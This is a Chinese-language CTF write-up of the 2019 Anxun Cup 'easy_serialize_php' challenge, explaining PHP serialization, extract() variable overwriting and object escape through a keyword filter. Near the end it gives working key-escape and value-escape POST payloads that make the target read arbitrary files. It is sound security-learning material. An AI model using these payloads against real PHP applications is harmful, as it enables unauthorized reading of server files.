[安洵杯 2019]easy_serialize_php
[安洵杯 2019]easy_serialize_php
這篇主要知識點:
- 鍛煉php代碼審計能力和學習
- php反序列化
- 反序列化中的對象逃逸(這個是真的自己對着php在線工具分析了很久,才弄懂。你看完肯定有所收穫)
首先明確幾個點:
- 序列化後的結果是一串字符串
- 反序列化會解開序列化的字符串生成相應類型的數據
如下代碼示例(大佬博客截取):
<?php
$img['one'] = "flag";
$img['two'] = "test";
$a = serialize($img);
var_dump($a);
#輸出: string(48) "a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"test";}"
$b = unserialize($a);
var_dump($b);
/*輸出如下內容:
array(2) {
["one"]=>
string(4) "flag"
["two"]=>
string(4) "test"
}
*/
序列化的部分:
經過serialize序列化後生成了相應的字符串: a:2:{s:3:”one”;s:4:”flag”;s:3:”two”;s:4:”test”;}
a表示數組 , a:2中的2表示有兩個鍵值,即對應的one、two兩組鍵值對。
花括號中的s都表示string即字符串,
s:後面的值分別是3、4、3、4,即對應的字符串長度,比如one長度是三,flag長度是4
反序列化的部分:
unserialize函數將字符串解序列化,我們用var_dump函數顯示了他的詳細信息。
可見解序列化後由變量$b,接收了img數組。
序列化中每個字母的表示:
| a | array數組 |
|---|---|
| b | boolean判斷類型 |
| d | double浮點數 |
| i | integer整數型 |
| o | common object 一般的對象 |
| r | reference引用類型 |
| s | string字符串類型 |
| C | custom object |
| O | class |
| N | null |
| R | pointer reference |
| U | unicode string |
現在我們進入試題地址,打開之後出現一段源碼:
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
我們大概看了一下,發現了這樣一段代碼:
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
這個$function就是$function = @$_GET[‘f’]; 從url中 f 輸入的變量
意思是如果 $function == ‘phpinfo’ ,我們就可以執行下面的語句查看phpinfo()
我們嘗試訪問phpinfo頁面:
index.php?f=phpinfo

會發現這裡有一個d0g3_flag.php文件,我們需要的flag應該就在裏面,所以我們接下來需要讀取這個文件就行。
我把接下來用到的代碼放到了這裡:
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
/*
我們發現unset函數將$_SESSION變量銷毀了,然後重新賦予了$_SESSION新的值,
最後調用了extract($_POST);
*/
extract() 函數從數組中將變量導入到當前的符號表。
參考鏈接://www.w3school.com.cn/php/func_array_extract.asp
- 舉例extract()變量覆蓋:
根據extract()我們可以進行變量覆蓋,
當我們傳入SESSION[flag]=123時,$SESSION[“user”]和$SESSION[‘function’] 全部會消失。
只剩下_SESSION[flag]=123。
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
var_dump($_SESSION);
echo "<br/>";
extract($_POST);
var_dump($_SESSION);

我們接着往下看:
知道了變量符改,我們可以幹什麼呢,往下看叭。
由於有了如下的代碼,我們直接進行變量覆蓋,直接給$SESSION[‘img’]一個預想的值是不現實的,
因為$SESSION[‘img’] = base64_encode(‘guest_img.png’)是在extract($_POST);這個函數之後執行的。
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
所以我們看看另一個方向:fileter函數
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
#這部分代碼就是將參數$img裏面的跟上面數組裡的字符串替換成空'',然後返回替換之後的字符串
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
後面看看大佬的WP:
大佬們都用的是鍵值對逃逸
這裡我介紹一下php反序列化的對象逃逸
任何具有一定結構的數據,只要經過了某些處理而把自身結構改變,則可能產生漏洞。
過濾函數分為兩種情況:
第一種為關鍵詞數增加
例如: where->hacker,這樣詞數由五個增加到6個。
第二種為關鍵詞數減少
例如:直接過濾掉一些關鍵詞,例如這道題目中。
過濾函數filter()是對serialize($_SESSION)進行過濾,濾掉一些關鍵字
那麼我們有兩種方法:
鍵逃逸和值逃逸:
第一種為關鍵詞數增加
例如: where->hacker,這樣詞數由五個增加到6個。
第二種為關鍵詞數減少
例如:直接過濾掉一些關鍵詞,例如這道題目中。
過濾函數filter()是對serialize($_SESSION)進行過濾,濾掉一些關鍵字
那麼我們有兩種方法:
鍵逃逸和值逃逸
原理:因為序列化吼的字符串是嚴格的,對應的格式不能錯,比如s:4:”name”,那s:4就必須有一個字符串長 度是4的否則就往後要。
並且unserialize會把多餘的字符串當垃圾處理,在花括號內的就是正確的,花括號後面的就都被扔掉。
示例:
<?php
#正規序列化的字符串
$a = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";}";
var_dump(unserialize($a));
#帶有多餘的字符的字符串
$a_laji = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";};s:3:\"真的垃圾img\";lajilaji";
var_dump(unserialize($a_laji));
# ";s:3:\"真的垃圾img\";lajilaji";"這些會被扔掉
我們有了這個逃逸概念的話,就大概可以理解了。如果我們把
$_SESSION[‘img’] = base64_encode(‘guest_img.png’);這段代碼的img屬性放到花括號外邊去,
然後花括號中注好新的img屬性,那麼他本來要求的img屬性就被咱們替換了。
那如何達到這個目的就要通過過濾函數了,因為咱的序列化的是個字符串啊,然後他又把黑名單的東西替換成 空。
鍵逃逸payload:
這兒只需要一個鍵值對就行了,我們直接構造會被過濾的鍵,這樣值得一部分充當鍵,剩下得一部分作為單獨得鍵值對
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
我來解釋一下這個payload
我們知道_SESSION這個數組裏面目前是有兩個字符串的,一個是我們通過POST方式傳上去的’phpflag’,還有一個就是’img’
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
/* 這段代碼會判斷我們通過GET方式傳入的變量是不是有'img_path'這個字符串,如果沒有就會執行語句將'guest_img.png'這個字符串經過base64加密存入$_SESSION['img']裏面,毫無疑問我們通過GET上傳的f=show_image,因為我們要進入一下代碼執行反序列化函數啊!*/
else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
_SESSION這個數組目前是這樣的:
$_SESSION['phpflag']=";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}";
$_SESSION['img'] = base64_encode('guest_img.png');
#一個我們通過POST方式傳上去,一個代碼內部自動添加的
然後我們看看$_SESSION接下來會怎麼執行語句:
$serialize_info = filter(serialize($_SESSION));
/*首先會先將$_SESSION序列化之後經過filter函數
filter函數會將phpflag替換成'',然後返回結果賦值給$serialize_info
接下來我們看看$serialize_info變量去哪了
*/
else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
/*沒錯到了這裡,先將$serialize_info反序列化賦值給$userinfo,然後去$userinfo裏面』img'鍵對應的值就是d0g3_f1ag.php。
這裡我附上代碼運行過程:
<?php
$_SESSION['phpflag']=";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}";
$_SESSION['img'] = base64_encode('guest_img.png');
var_dump(serialize($_SESSION));
echo PHP_EOL;
$serialize_info="a:2:{s:7:\"\";s:48:\";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}";
$userinfo = unserialize($serialize_info);
echo (base64_decode($userinfo['img']));
?>
#注意:裏面的\是為了將"轉義。
上面我說明一下$userinfo每個參數對應的什麼:
目前裏面有兩個鍵值對:
$userinfo['";s:48:'']="1"
$userinfo['img']="ZDBnM19mMWFnLnBocA=="
/*
ZDBnM19mMWFnLnBocA==經過base64解碼之後就是d0g3_f1ag.php
就是 ";s:48:-->1
img -->ZDBnM19mMWFnLnBocA==
";s:48:正好是7個字符串,對應上面$serialize_info裏面那個7,7代表後面字 符串長度為7
*/
運行結果:
string(114) "a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
d0g3_f1ag.php
運行截圖:

我們通過echo (base64_decode($userinfo[‘img’]));這一步得到了d0g3_f1ag.php
然後就會通過echo file_get_contents(base64_decode($userinfo[‘img’]));這個函數將d0g3_f1ag.php裏面內容讀取。


d0g3_f1ag.php這個裏面的內容就是這樣一段代碼:
<?php
$flag = 'flag in /d0g3_fllllllag';
?>
然後我們將d0g3_fllllllag經過base64加密L2QwZzNfZmxsbGxsbGFn正好也是20位,直接替換上面的就好。
得到flag:

上面是通過鍵逃逸的方式,好像還有一種值逃逸的繞過方法,這裡我就不做演示了,附上payload:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image
寫這個加上自己去網上測試payload,一句一句的分析,還是弄了蠻久的,希望能幫到大家!
太菜了太菜了!!!



